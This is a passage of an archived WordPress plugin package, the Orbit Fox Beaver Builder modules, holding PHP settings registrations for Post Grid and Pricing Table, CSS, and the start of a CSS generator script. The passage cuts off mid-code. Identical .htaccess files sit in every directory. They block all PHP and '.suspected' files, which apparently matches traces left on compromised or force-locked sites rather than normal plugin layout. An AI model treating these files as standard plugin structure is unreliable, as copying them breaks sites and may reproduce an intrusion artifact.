RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>modules/post-grid/post-grid.php000066600000026372151143413260012563 0ustar00<?php

// Get the module directory.
$module_directory = $this->get_dir();

// Include custom fields
require_once( $module_directory . '/custom-fields/toggle-field/toggle_field.php' );

// Include common functions file.
require_once( $module_directory . '/inc/common-functions.php' );

/**
 * Class PostGridModule
 */
class PostGridModule extends FLBuilderModule {

	/**
	 * Constructor function for the module. You must pass the
	 * name, description, dir and url in an array to the parent class.
	 *
	 * @method __construct
	 */
	public function __construct() {
		parent::__construct(
			array(
				'name'          => esc_html__( 'Post Grid', 'themeisle-companion' ),
				'description'   => esc_html__( 'A method to display your posts.', 'themeisle-companion' ),
				'category'      => esc_html__( 'Orbit Fox Modules', 'themeisle-companion' ),
				'dir'           => BEAVER_WIDGETS_PATH . 'modules/post-grid/',
				'url'           => BEAVER_WIDGETS_URL . 'modules/post-grid/',
			)
		);
	}
}

/**
 * Register the module and its form settings.
 */
$image_sizes = get_intermediate_image_sizes();
$choices = array();
if ( ! empty( $image_sizes ) ) {
	foreach ( $image_sizes as $size ) {
		$name = str_replace( '_', ' ', $size );
		$name = str_replace( '-', ' ', $name );
		$choices[ $size ] = ucfirst( $name );
	}
}
FLBuilder::register_module(
	'PostGridModule',
	array(
		'loop_settings' => array(
			'title'         => esc_html__( 'Loop Settings', 'themeisle-companion' ),
			'file'          => BEAVER_WIDGETS_PATH . 'modules/post-grid/includes/loop-settings.php',
		),
		'image_options' => array(
			'title' => esc_html__( 'Image options', 'themeisle-companion' ), // Tab title
			'sections' => array(
				'general' => array(
					'title' => '',
					'fields' => array(
						'show_post_thumbnail' => array(
							'type'          => 'obfx_toggle',
							'label'         => esc_html__( 'Show post thumbnail', 'themeisle-companion' ),
							'default' => 'yes',
						),
						'show_thumbnail_link' => array(
							'type'          => 'obfx_toggle',
							'label'         => esc_html__( 'Link in thumbnail', 'themeisle-companion' ),
							'default' => 'no',
						),
						'thumbnail_shadow' => array(
							'type'          => 'obfx_toggle',
							'label'         => esc_html__( 'Enable thumbnail shadow', 'themeisle-companion' ),
							'default' => 'no',
						),
						'image_size' => array(
							'type'          => 'select',
							'label'         => esc_html__( 'Image size', 'themeisle-companion' ),
							'default' => 'medium_large',
							'options'       => $choices,

						),
						'image_alignment' => array(
							'type'          => 'select',
							'label'         => esc_html__( 'Image alignment', 'themeisle-companion' ),
							'default' => 'center',
							'options'       => array(
								'center' => esc_html__( 'Center', 'themeisle-companion' ),
								'left' => esc_html__( 'Left', 'themeisle-companion' ),
								'right' => esc_html__( 'Right', 'themeisle-companion' ),
							),
							'toggle'        => array(
								'left'  => array(
									'fields'        => array('thumbnail_margin_left', 'thumbnail_margin_right'),
								),
								'right'  => array(
									'fields'        => array('thumbnail_margin_left', 'thumbnail_margin_right'),
								),
							),
						),
					),
				),
				'thumbnail_margins' => themeisle_four_fields_control(
					array(
						'default' => array(
							'top' => 0,
							'bottom' => 30,
							'left' => 0,
							'right' => 0,
						),
						'selector' => '.obfx-post-grid-thumbnail',
						'field_name_prefix' => 'thumbnail_margin_',
						'type' => 'margin',
					)
				),
			),
		),
		'title_options' => array(
			'title' => esc_html__( 'Title options', 'themeisle-companion' ), // Tab title
			'sections' => array(
				'general' => array(
					'title' => '',
					'fields' => array(
						'show_post_title' => array(
							'type'          => 'obfx_toggle',
							'label'         => esc_html__( 'Show post title', 'themeisle-companion' ),
							'default' => 'yes',
						),
						'show_title_link'  => array(
							'type'          => 'obfx_toggle',
							'label'         => esc_html__( 'Link on title', 'themeisle-companion' ),
							'default' => 'yes',
						),
						'title_alignment' => array(
							'type'          => 'select',
							'label'         => esc_html__( 'Title alignment', 'themeisle-companion' ),
							'default' => 'center',
							'options'       => array(
								'center' => esc_html__( 'Center', 'themeisle-companion' ),
								'left' => esc_html__( 'Left', 'themeisle-companion' ),
								'right' => esc_html__( 'Right', 'themeisle-companion' ),
							),

						),
						'title_tag' => array(
							'type'          => 'select',
							'label'         => esc_html__( 'Title tag', 'themeisle-companion' ),
							'default' => 'h5',
							'options'       => array(
								'h1' => esc_html__( 'H1', 'themeisle-companion' ),
								'h2' => esc_html__( 'H2', 'themeisle-companion' ),
								'h3' => esc_html__( 'H3', 'themeisle-companion' ),
								'h4' => esc_html__( 'H4', 'themeisle-companion' ),
								'h5' => esc_html__( 'H5', 'themeisle-companion' ),
								'h6' => esc_html__( 'H6', 'themeisle-companion' ),
								'span' => esc_html__( 'span', 'themeisle-companion' ),
								'p' => esc_html__( 'p', 'themeisle-companion' ),
								'div' => esc_html__( 'div', 'themeisle-companion' ),
							),
						),
					),
				),
				'title_margins' => themeisle_four_fields_control(
					array(
						'default' => array(
							'top' => 0,
							'bottom' => 0,
							'left' => 0,
							'right' => 0,
						),
						'selector' => '.obfx-post-grid-title',
						'field_name_prefix' => 'title_padding_',
						'type' => 'padding',
					)
				),
				'title_typography' => themeisle_typography_settings(
					array(
						'prefix' => 'title_',
						'selector' => '.obfx-post-grid-title',
						'font_size_default' => 25,
					)
				),
			),
		),
		'meta_options' => array(
			'title' => esc_html__( 'Meta options', 'themeisle-companion' ), // Tab title
			'sections' => array(
				'general' => array(
					'title' => '',
					'fields' => array(
						'show_post_meta' => array(
							'type'          => 'obfx_toggle',
							'label'         => esc_html__( 'Show post meta', 'themeisle-companion' ),
							'default' => 'yes',
						),
						'show_icons' => array(
							'type'          => 'obfx_toggle',
							'label'         => esc_html__( 'Show icons', 'themeisle-companion' ),
							'default' => 'yes',
							'help'          => esc_html__( 'If icons doesn\'t show you have to enqueue FontAwesome in your theme.', 'themeisle-companion' ),
						),
						'meta_data' => array(
							'type'          => 'select',
							'label'         => esc_html__( 'Display', 'themeisle-companion' ),
							'default'       => array('author', 'date'),
							'options'       => array(
								'author'      => esc_html__( 'Author', 'themeisle-companion' ),
								'date'      => esc_html__( 'Date', 'themeisle-companion' ),
								'category'      => esc_html__( 'Category', 'themeisle-companion' ),
								'tags'      => esc_html__( 'Tags', 'themeisle-companion' ),
								'comments'      => esc_html__( 'Comments', 'themeisle-companion' ),
							),
							'multi-select'  => true,
						),
						'meta_alignment' => array(
							'type'          => 'select',
							'label'         => esc_html__( 'Meta alignment', 'themeisle-companion' ),
							'default' => 'center',
							'options'       => array(
								'center' => esc_html__( 'Center', 'themeisle-companion' ),
								'left' => esc_html__( 'Left', 'themeisle-companion' ),
								'right' => esc_html__( 'Right', 'themeisle-companion' ),
							),
						),
					),
				),
				'meta_margins' => themeisle_four_fields_control(
					array(
						'default' => array(
							'top' => 0,
							'bottom' => 0,
							'left' => 0,
							'right' => 0,
						),
						'selector' => '.obfx-post-grid-meta',
						'field_name_prefix' => 'meta_padding_',
						'type' => 'padding',
					)
				),
				'meta_typography' => themeisle_typography_settings(
					array(
						'prefix' => 'meta_',
						'selector' => '.obfx-post-grid-meta',
						'font_size_default' => 15,
					)
				),
			),
		),
		'content_options' => array(
			'title' => esc_html__( 'Content options', 'themeisle-companion' ), // Tab title
			'sections' => array(
				'general' => array(
					'title' => '',
					'fields' => array(
						'show_post_content' => array(
							'type'          => 'obfx_toggle',
							'label'         => esc_html__( 'Show post content', 'themeisle-companion' ),
							'default' => 'yes',
						),
						'show_read_more' => array(
							'type'          => 'obfx_toggle',
							'label'         => esc_html__( 'Show read more', 'themeisle-companion' ),
							'default' => 'yes',
						),
						'content_length' => array(
							'type'          => 'obfx_number',
							'label'         => esc_html__( 'Number of words', 'themeisle-companion' ),
							'default'       => '30',
							'min'       => '1',
						),
						'read_more_text' => array(
							'type'          => 'text',
							'label'         => esc_html__( 'Read more text', 'themeisle-companion' ),
							'default'       => esc_html__( 'Read more', 'themeisle-companion' ),
							'maxlength'     => '70',
							'size'          => '30',
							'preview'       => array(
								'type'          => 'text',
								'selector'      => '.obfx-post-grid-read-more',
							),
						),
						'content_alignment' => array(
							'type'          => 'select',
							'label'         => esc_html__( 'Text alignment', 'themeisle-companion' ),
							'default' => 'left',
							'options'       => array(
								'center' => esc_html__( 'Center', 'themeisle-companion' ),
								'left' => esc_html__( 'Left', 'themeisle-companion' ),
								'right' => esc_html__( 'Right', 'themeisle-companion' ),
							),

						),
					),
				),
				'content_margins' => themeisle_four_fields_control(
					array(
						'default' => array(
							'top' => 0,
							'bottom' => 0,
							'left' => 15,
							'right' => 15,
						),
						'selector' => '.obfx-post-content',
						'field_name_prefix' => 'content_padding_',
						'type' => 'padding',
					)
				),
				'content_typography' => themeisle_typography_settings(
					array(
						'prefix' => 'content_',
						'selector' => '.obfx-post-content',
						'font_size_default' => 20,
					)
				),
			),
		),
		'pagination_options' => array(
			'title' => esc_html__( 'Pagination options', 'themeisle-companion' ),
			'sections' => array(
				'general' => array(
					'title' => '',
					'fields' => array(
						'show_pagination' => array(
							'type'          => 'obfx_toggle',
							'label'         => esc_html__( 'Enable pagination', 'themeisle-companion' ),
						),
						'pagination_alignment' => array(
							'type'          => 'select',
							'label'         => esc_html__( 'Pagination alignment', 'themeisle-companion' ),
							'default' => 'center',
							'options'       => array(
								'center' => esc_html__( 'Center', 'themeisle-companion' ),
								'left' => esc_html__( 'Left', 'themeisle-companion' ),
								'right' => esc_html__( 'Right', 'themeisle-companion' ),
							),
						),
					),
				),
				'pagination_typography' => themeisle_typography_settings(
					array(
						'prefix' => 'pagination_',
						'selector' => '.obfx-post-grid-pagination',
						'font_size_default' => 20,
					)
				),
			),
		),
	)
);
modules/post-grid/css/.htaccess000066600000000424151143413260012516 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>modules/post-grid/css/frontend.css000066600000002252151143413260013252 0ustar00.obfx-card {
	display: inline-block;
	position: relative;
	width: 100%;
	margin-bottom: 30px;
	border-radius: 6px;
	color: rgba(0, 0, 0, 0.87);
	background: #fff;
	box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.14), 0 3px 1px -2px rgba(0, 0, 0, 0.2), 0 1px 5px 0 rgba(0, 0, 0, 0.12);
}

.obfx-post-grid-thumbnail.obfx-card {
	width: auto;
	margin: 10px;
	box-shadow: 4px 8px 59px -15px rgba(0,0,0,1);
}

.obfx-post-grid-wrapper {
	display: inline-block;
	padding: 0 10px;
	vertical-align: top;
}

.obfx-post-grid-meta i {
	padding-right: 5px;
}

.obfx-post-grid-meta > div {
	display: inline;
	word-wrap: initial;
}

.obfx-post-grid-meta > div:not(:last-child),
.obfx-category a:not(:last-child),
.obfx-tags a:not(:last-child) {
	padding-right: 5px;
}

.obfx-post-grid-meta > div:not(:last-child):after,
.obfx-category a:not(:last-child):after,
.obfx-tags a:not(:last-child):after {
	content: ",";
}

.obfx-category a:not(:last-child):after {
	content: ",";
}

.obfx-post-grid-pagination li {
	padding: 5px;
	vertical-align: bottom;
}

.obfx-post-grid-pagination li a {
	padding: 0;
	background: none;
}

.page-numbers {
	padding: 0;
	list-style: none;
}

.page-numbers li {
	display: inline-block;
}
modules/.htaccess000066600000000424151143413260010016 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>modules/pricing-table/pricing-table.php000066600000043354151143413260014202 0ustar00<?php
/**
 * Pricing table module.
 *
 * @package themeisle-companion
 */

// Get the module directory.
$module_directory = $this->get_dir();

// Include common functions file.
require_once( $module_directory . '/inc/common-functions.php' );

// Include custom fields
require_once( $module_directory . '/custom-fields/toggle-field/toggle_field.php' );

/**
 * Class PricingTableModule
 */
class PricingTableModule extends FLBuilderModule {

	/**
	 * Constructor function for the module. You must pass the
	 * name, description, dir and url in an array to the parent class.
	 *
	 * @method __construct
	 */
	public function __construct() {
		parent::__construct(
			array(
				'name'          => esc_html__( 'Pricing table', 'themeisle-companion' ),
				'description'   => esc_html__( 'Pricing Tables are the perfect option when showcasing services you have on offer.', 'themeisle-companion' ),
				'category'      => esc_html__( 'Orbit Fox Modules', 'themeisle-companion' ),
				'dir'           => BEAVER_WIDGETS_PATH . 'modules/pricing-table/',
				'url'           => BEAVER_WIDGETS_URL . 'modules/pricing-table/',
				'editor_export' => true, // Defaults to true and can be omitted.
				'enabled'       => true, // Defaults to true and can be omitted.
			)
		);
	}
}

/**
 * Register the module and its form settings.
 */
FLBuilder::register_module(
	'PricingTableModule',
	array(
		'content' => array(
			'title' => esc_html__( 'Content', 'themeisle-companion' ), // Tab title
			'sections' => array(
				'header' => array(
					'title'  => esc_html__( 'Plan Header', 'themeisle-companion' ),
					'fields' => array(
						'plan_title' => array(
							'type'    => 'text',
							'label'   => esc_html__( 'Title', 'themeisle-companion' ),
							'default' => esc_html__( 'Plan title', 'themeisle-companion' ),
							'preview' => array(
								'type'     => 'text',
								'selector' => '.obfx-plan-title',
							),
						),
						'plan_title_tag' => array(
							'type'    => 'select',
							'label'   => esc_html__( 'Title tag', 'themeisle-companion' ),
							'default' => 'h2',
							'options' => array(
								'h1' => esc_html__( 'h1', 'themeisle-companion' ),
								'h2' => esc_html__( 'h2', 'themeisle-companion' ),
								'h3' => esc_html__( 'h3', 'themeisle-companion' ),
								'h4' => esc_html__( 'h4', 'themeisle-companion' ),
								'h5' => esc_html__( 'h5', 'themeisle-companion' ),
								'h6' => esc_html__( 'h6', 'themeisle-companion' ),
								'p'  => esc_html__( 'p', 'themeisle-companion' ),
							),
						),
						'plan_subtitle' => array(
							'type'    => 'text',
							'label'   => esc_html__( 'Subtitle', 'themeisle-companion' ),
							'default' => esc_html__( 'Plan subtitle', 'themeisle-companion' ),
							'preview' => array(
								'type'     => 'text',
								'selector' => '.obfx-plan-subtitle',
							),
						),
						'plan_subtitle_tag' => array(
							'type'    => 'select',
							'label'   => esc_html__( 'Subtitle tag', 'themeisle-companion' ),
							'default' => 'p',
							'options' => array(
								'h1' => esc_html__( 'h1', 'themeisle-companion' ),
								'h2' => esc_html__( 'h2', 'themeisle-companion' ),
								'h3' => esc_html__( 'h3', 'themeisle-companion' ),
								'h4' => esc_html__( 'h4', 'themeisle-companion' ),
								'h5' => esc_html__( 'h5', 'themeisle-companion' ),
								'h6' => esc_html__( 'h6', 'themeisle-companion' ),
								'p'  => esc_html__( 'p', 'themeisle-companion' ),
							),
						),
					),
				),
				'price' => array(
					'title'  => esc_html__( 'Price Tag', 'themeisle-companion' ),
					'fields' => array(
						'price' => array(
							'type'    => 'text',
							'label'   => esc_html__( 'Price', 'themeisle-companion' ),
							'default' => '50',
							'preview' => array(
								'type'     => 'text',
								'selector' => '.obfx-price',
							),
						),
						'currency' => array(
							'type'    => 'text',
							'label'   => esc_html__( 'Currency', 'themeisle-companion' ),
							'default' => '$',
							'preview' => array(
								'type'     => 'text',
								'selector' => '.obfx-currency',
							),
						),
						'currency_position' => array(
							'type'    => 'select',
							'label'   => esc_html__( 'Currency position', 'themeisle-companion' ),
							'default' => 'after',
							'options' => array(
								'before' => esc_html__( 'Before', 'themeisle-companion' ),
								'after'  => esc_html__( 'After', 'themeisle-companion' ),
							),
						),
						'period' => array(
							'type'    => 'text',
							'label'   => esc_html__( 'Period', 'themeisle-companion' ),
							'default' => esc_html__( '/month', 'themeisle-companion' ),
							'preview' => array(
								'type'     => 'text',
								'selector' => '.obfx-period',
							),
						),
					),
				),
				'features' => array(
					'title' => esc_html__( 'Features list', 'themeisle-companion' ),
					'fields' => array(
						'features' => array(
							'multiple' => true,
							'type'          => 'form',
							'label'         => esc_html__( 'Feature', 'themeisle-companion' ),
							'form'          => 'feature_field', // ID of a registered form.
							'preview_text'  => 'text', // ID of a field to use for the preview text.
						),
					),
				),
				'button' => array(
					'title' => esc_html__( 'Button', 'themeisle-companion' ),
					'fields' => array(
						'text' => array(
							'type'    => 'text',
							'label'   => esc_html__( 'Button text', 'themeisle-companion' ),
							'default' => esc_html__( 'Button', 'themeisle-companion' ),
							'preview' => array(
								'type'     => 'text',
								'selector' => '.obfx-plan-button',
							),
						),
						'link' => array(
							'type' => 'link',
							'label' => esc_html__( 'Button link', 'themeisle-companion' ),
						),
					),
				),
				'appearance' => array(
					'title' => esc_html__( 'Appearance', 'themeisle-companion' ),
					'fields' => array(
						'card_layout' => array(
							'type'          => 'obfx_toggle',
							'label'         => esc_html__( 'Card layout', 'themeisle-companion' ),
							'default'       => 'yes',
						),
						'text_position' => array(
							'type'    => 'select',
							'label'   => esc_html__( 'Align', 'themeisle-companion' ),
							'default' => 'center',
							'options' => array(
								'center' => esc_html__( 'Center', 'themeisle-companion' ),
								'left'  => esc_html__( 'Left', 'themeisle-companion' ),
								'right'  => esc_html__( 'Right', 'themeisle-companion' ),
							),
						),
					),
				),
			),
		),
		'header_style' => array(
			'title' => esc_html__( 'Header Style', 'themeisle-companion' ),
			'sections' => array(
				'header_padding' => themeisle_four_fields_control(
					array(
						'default' => array(
							'top' => 15,
							'bottom' => 15,
							'left' => 0,
							'right' => 0,
						),
						'selector' => '.obfx-pricing-header',
						'field_name_prefix' => '',
					)
				),
				'colors' => array(
					'title'  => esc_html__( 'Colors', 'themeisle-companion' ),
					'fields' => array(
						'title_color' => array(
							'type' => 'color',
							'label' => esc_html__( 'Title color', 'themeisle-companion' ),
							'preview' => array(
								'type' => 'css',
								'rules' => array(
									array(
										'selector' => '.obfx-pricing-header *:first-child',
										'property'     => 'color',
									),
								),
							),
						),
						'subtitle_color' => array(
							'type' => 'color',
							'label' => esc_html__( 'Subtitle color', 'themeisle-companion' ),
							'preview' => array(
								'type' => 'css',
								'rules' => array(
									array(
										'selector' => '.obfx-pricing-header *:last-child',
										'property'     => 'color',
									),
								),
							),
						),
					),
				),
				'title_typography' => themeisle_typography_settings(
					array(
						'title' => esc_html__( 'Title typography', 'themeisle-companion' ),
						'prefix' => 'title_',
						'selector' => '.obfx-pricing-header *:first-child',
					)
				),
				'subtitle_typography' => themeisle_typography_settings(
					array(
						'title' => esc_html__( 'Subtitle typography', 'themeisle-companion' ),
						'prefix' => 'subtitle_',
						'selector' => '.obfx-pricing-header *:last-child',
					)
				),
				'header_background' => array(
					'title' => esc_html__( 'Background', 'themeisle-companion' ),
					'fields' => array(
						'bg_type' => array(
							'type'    => 'select',
							'label'   => esc_html__( 'Type', 'themeisle-companion' ),
							'default' => 'color',
							'options' => array(
								'color' => esc_html__( 'Color', 'themeisle-companion' ),
								'image' => esc_html__( 'Background', 'themeisle-companion' ),
								'gradient' => esc_html__( 'Gradient', 'themeisle-companion' ),
							),
							'toggle' => array(
								'color' => array(
									'fields' => array('header_bg_color'),
								),
								'image' => array(
									'fields' => array('header_bg_image'),
								),
								'gradient' => array(
									'fields' => array('gradient_color1', 'gradient_color2', 'gradient_orientation'),
								),
							),
						),
						'header_bg_color' => array(
							'type' => 'color',
							'label' => esc_html__( 'Background color', 'themeisle-companion' ),
							'show_reset'    => true,
							'preview' => array(
								'type' => 'css',
								'rules' => array(
									array(
										'selector' => '.obfx-pricing-header',
										'property'     => 'background-color',
									),
								),
							),
						),
						'header_bg_image' => array(
							'type'          => 'photo',
							'label'         => esc_html__( 'Photo Field', 'themeisle-companion' ),
							'show_remove'    => true,
						),
						'gradient_color1' => array(
							'type' => 'color',
							'label' => esc_html__( 'Gradient color 1', 'themeisle-companion' ),
							'show_reset'    => true,
						),
						'gradient_color2' => array(
							'type' => 'color',
							'label' => esc_html__( 'Gradient color 2', 'themeisle-companion' ),
							'show_reset'    => true,
						),
						'gradient_orientation' => array(
							'type'    => 'select',
							'label'   => esc_html__( 'Orientation', 'themeisle-companion' ),
							'default' => 'horizontal',
							'options' => array(
								'horizontal' => esc_html__( 'Horizontal', 'themeisle-companion' ),
								'vertical' => esc_html__( 'Vertical', 'themeisle-companion' ),
								'diagonal_bottom' => esc_html__( 'Diagonal bottom', 'themeisle-companion' ),
								'diagonal_top' => esc_html__( 'Diagonal top', 'themeisle-companion' ),
								'radial' => esc_html__( 'Radial', 'themeisle-companion' ),
							),
						),
					),
				),
			),
		),
		'price_style' => array(
			'title' => esc_html__( 'Price Style', 'themeisle-companion' ),
			'sections' => array(
				'price_padding' => themeisle_four_fields_control(
					array(
						'default' => array(
							'top' => 15,
							'bottom' => 15,
							'left' => 0,
							'right' => 0,
						),
						'selector' => '.obfx-pricing-price',
						'field_name_prefix' => 'price_',
					)
				),
				'price_colors' => array(
					'title' => esc_html__( 'Colors', 'themeisle-companion' ),
					'fields' => array(
						'price_color' => array(
							'type'          => 'color',
							'label'         => esc_html__( 'Price color', 'themeisle-companion' ),
							'preview'       => array(
								'type'          => 'css',
								'rules'           => array(
									array(
										'selector'     => '.obfx-price',
										'property'     => 'color',
									),
								),
							),
						),
						'currency_color' => array(
							'type'          => 'color',
							'label'         => esc_html__( 'Currency color', 'themeisle-companion' ),
							'preview'       => array(
								'type'          => 'css',
								'rules'           => array(
									array(
										'selector'     => '.obfx-pricing-price sup',
										'property'     => 'color',
									),
								),
							),
						),
						'period_color' => array(
							'type'          => 'color',
							'label'         => esc_html__( 'Period color', 'themeisle-companion' ),
							'preview'       => array(
								'type'          => 'css',
								'rules'           => array(
									array(
										'selector'     => '.obfx-period',
										'property'     => 'color',
									),
								),
							),
						),
					),
				),
				'price_typography' => themeisle_typography_settings(
					array(
						'prefix' => 'price_',
						'selector' => '.obfx-pricing-price',
						'font_size_default' => 40,
					)
				),
			),
		),
		'features_style' => array(
			'title' => esc_html__( 'Features Style', 'themeisle-companion' ),
			'sections' => array(
				'features_padding' => themeisle_four_fields_control(
					array(
						'default' => array(
							'top' => 15,
							'bottom' => 15,
							'left' => 0,
							'right' => 0,
						),
						'selector' => '.obfx-pricing-price',
						'field_name_prefix' => 'features_',
					)
				),
				'features_colors' => array(
					'title' => esc_html__( 'Colors', 'themeisle-companion' ),
					'fields' => array(
						'icon_color' => array(
							'type'          => 'color',
							'label'         => esc_html__( 'Icon color', 'themeisle-companion' ),
							'preview'       => array(
								'type'          => 'css',
								'rules'           => array(
									array(
										'selector'     => '.obfx-pricing-feature-content i',
										'property'     => 'color',
									),
								),
							),
						),
						'bold_color' => array(
							'type'          => 'color',
							'label'         => esc_html__( 'Bold text color', 'themeisle-companion' ),
							'preview'       => array(
								'type'          => 'css',
								'rules'           => array(
									array(
										'selector'     => '.obfx-pricing-feature-content strong',
										'property'     => 'color',
									),
								),
							),
						),
						'feature_color' => array(
							'type'          => 'color',
							'label'         => esc_html__( 'Text color', 'themeisle-companion' ),
							'preview'       => array(
								'type'          => 'css',
								'rules'           => array(
									array(
										'selector'     => '.obfx-pricing-feature-content:not(i):not(strong)',
										'property'     => 'color',
									),
								),
							),
						),
					),
				),
				'feature_typography' => themeisle_typography_settings(
					array(
						'prefix' => 'feature_',
						'selector' => '.obfx-pricing-feature-content *',
						'font_size_default' => 17,
					)
				),
			),
		),
		'button_style' => array(
			'title' => esc_html__( 'Button Style', 'themeisle-companion' ),
			'sections' => array(
				'button_margins' => themeisle_four_fields_control(
					array(
						'default' => array(
							'top' => 15,
							'bottom' => 15,
							'left' => 0,
							'right' => 0,
						),
						'selector' => '.obfx-plan-bottom',
						'field_name_prefix' => 'button_margin_',
						'type' => 'margin',
					)
				),
				'button_padding' => themeisle_four_fields_control(
					array(
						'default' => array(
							'top' => 6,
							'bottom' => 6,
							'left' => 12,
							'right' => 12,
						),
						'selector' => '.obfx-plan-button',
						'field_name_prefix' => 'button_padding_',
					)
				),
				'button_colors' => array(
					'title' => esc_html__( 'Colors', 'themeisle-companion' ),
					'fields' => array(
						'button_text_color' => array(
							'type'          => 'color',
							'label'         => esc_html__( 'Text', 'themeisle-companion' ),
							'preview'       => array(
								'type'          => 'css',
								'rules'           => array(
									array(
										'selector'     => '.obfx-plan-button',
										'property'     => 'color',
									),
								),
							),
						),
						'button_text_color_hover' => array(
							'type'          => 'color',
							'label'         => esc_html__( 'Text on hover', 'themeisle-companion' ),
							'preview'       => array(
								'type'          => 'css',
								'rules'           => array(
									array(
										'selector'     => '.obfx-plan-button:hover',
										'property'     => 'color',
									),
								),
							),
						),
						'button_bg_color' => array(
							'type'          => 'color',
							'label'         => esc_html__( 'Button background', 'themeisle-companion' ),
							'preview'       => array(
								'type'          => 'css',
								'rules'           => array(
									array(
										'selector'     => '.obfx-plan-button',
										'property'     => 'background-color',
									),
								),
							),
						),
						'button_bg_color_hover' => array(
							'type'          => 'color',
							'label'         => esc_html__( 'Button background on hover', 'themeisle-companion' ),
							'preview'       => array(
								'type'          => 'css',
								'rules'           => array(
									array(
										'selector'     => '.obfx-plan-button:hover',
										'property'     => 'background-color',
									),
								),
							),
						),
					),
				),
				'button_typography' => themeisle_typography_settings(
					array(
						'prefix' => 'button_',
						'selector' => '.obfx-plan-button',
						'font_size_default' => 15,
					)
				),
			),
		),
	)
);


FLBuilder::register_settings_form(
	'feature_field',
	array(
		'title' => __( 'Feature', 'themeisle-companion' ),
		'tabs'  => array(
			'general'      => array(
				'title'         => esc_html__( 'General', 'themeisle-companion' ),
				'sections'      => array(
					'general'       => array(
						'title'         => '',
						'fields'        => array(
							'bold_text' => array(
								'type'  => 'text',
								'label' => esc_html__( 'Bold text', 'themeisle-companion' ),
							),
							'text' => array(
								'type'  => 'text',
								'label' => esc_html__( 'Text', 'themeisle-companion' ),
							),
							'icon' => array(
								'type'          => 'icon',
								'label'         => esc_html__( 'Icon', 'themeisle-companion' ),
								'show_remove'   => true,
							),
						),
					),
				),
			),
		),
	)
);
modules/pricing-table/.htaccess000066600000000424151143413260012536 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>modules/pricing-table/includes/.htaccess000066600000000424151143413260014344 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>modules/pricing-table/includes/frontend.css.php000066600000041430151143413260015667 0ustar00<?php
$text_position = ! empty( $settings->text_position ) ? $settings->text_position : '';
if ( ! empty( $text_position ) ) {
	echo '.fl-node-' . $id . ' .obfx-pricing-plan > div,.fl-node-' . $id . ' .obfx-pricing-plan li{';
	echo 'text-align:' . $text_position . ';';
	echo '}';
}

$padding_top = ! empty( $settings->top ) ? $settings->top : '';
$padding_bottom = ! empty( $settings->bottom ) ? $settings->bottom : '';
$padding_left = ! empty( $settings->left ) ? $settings->left : '';
$padding_right = ! empty( $settings->right ) ? $settings->right : '';
echo '.fl-node-' . $id . '.obfx-pricing-header{';
	echo ! empty( $padding_top ) ? 'padding-top: ' . $padding_top . 'px;' : '';
	echo ! empty( $padding_bottom ) ? 'padding-bottom: ' . $padding_bottom . 'px;' : '';
	echo ! empty( $padding_left ) ? 'padding-left: ' . $padding_left . 'px;' : '';
	echo ! empty( $padding_right ) ? 'padding-right: ' . $padding_right . 'px;' : '';

	$type = $settings->bg_type;
switch ( $type ) {
	case 'color':
		$bg_color = ! empty( $settings->header_bg_color ) ? $settings->header_bg_color : '';
		if ( ! empty( $bg_color ) ) {
			$bg_color = strpos( $bg_color, 'rgba' ) !== false ? 'background-color:' . $bg_color : 'background-color:#' . $bg_color;
			echo $bg_color . ';';
		}
		break;
	case 'image':
		$bg_image = ! empty( $settings->header_bg_image ) ? $settings->header_bg_image : '';
		if ( ! empty( $bg_image ) ) {
			echo 'background-image:url(' . wp_get_attachment_url( $bg_image ) . ');';
		}
		break;
	case 'gradient':
		$gradient_color1 = ! empty( $settings->gradient_color1 ) ? $settings->gradient_color1 : '';
		$gradient_color2 = ! empty( $settings->gradient_color2 ) ? $settings->gradient_color2 : '';
		$gradient_orientation = ! empty( $settings->gradient_orientation ) ? $settings->gradient_orientation : '';
		$pos1 = 'left';
		$pos2 = 'left';
		$pos3 = 'to right';
		switch ( $gradient_orientation ) {
			case 'vertical':
				$pos1 = 'top';
				$pos2 = 'to bottom';
				$type = 'linear-gradient';
				break;
			case 'diagonal_bottom':
				$pos1 = '-45deg';
				$pos2 = '135deg';
				$type = 'linear-gradient';
				break;
			case 'diagonal_top':
				$pos1 = '45deg';
				$pos2 = '45deg';
				$type = 'linear-gradient';
				break;
			case 'radial':
				$pos1 = 'center, ellipse cover';
				$pos2 = 'ellipse at center';
				$type = 'radial-gradient';
				break;
		}

		if ( ! empty( $gradient_color1 ) ) {
			$gradient_color1 = strpos( $gradient_color1, 'rgba' ) !== false ? $gradient_color1 : '#' . $gradient_color1;
			if ( ! empty( $gradient_color2 ) ) {
				$gradient_color2 = strpos( $gradient_color2, 'rgba' ) !== false ? $gradient_color2 : '#' . $gradient_color2;
				echo '
					background: -moz-' . esc_attr( $type ) . '(' . esc_attr( $pos1 ) . ', ' . esc_attr( $gradient_color1 ) . ' 0%, ' . esc_attr( $gradient_color2 ) . ' 100%); 
					background: -webkit-' . esc_attr( $type ) . '(' . esc_attr( $pos1 ) . ', ' . esc_attr( $gradient_color1 ) . ' 0%, ' . esc_attr( $gradient_color2 ) . ' 100%); 
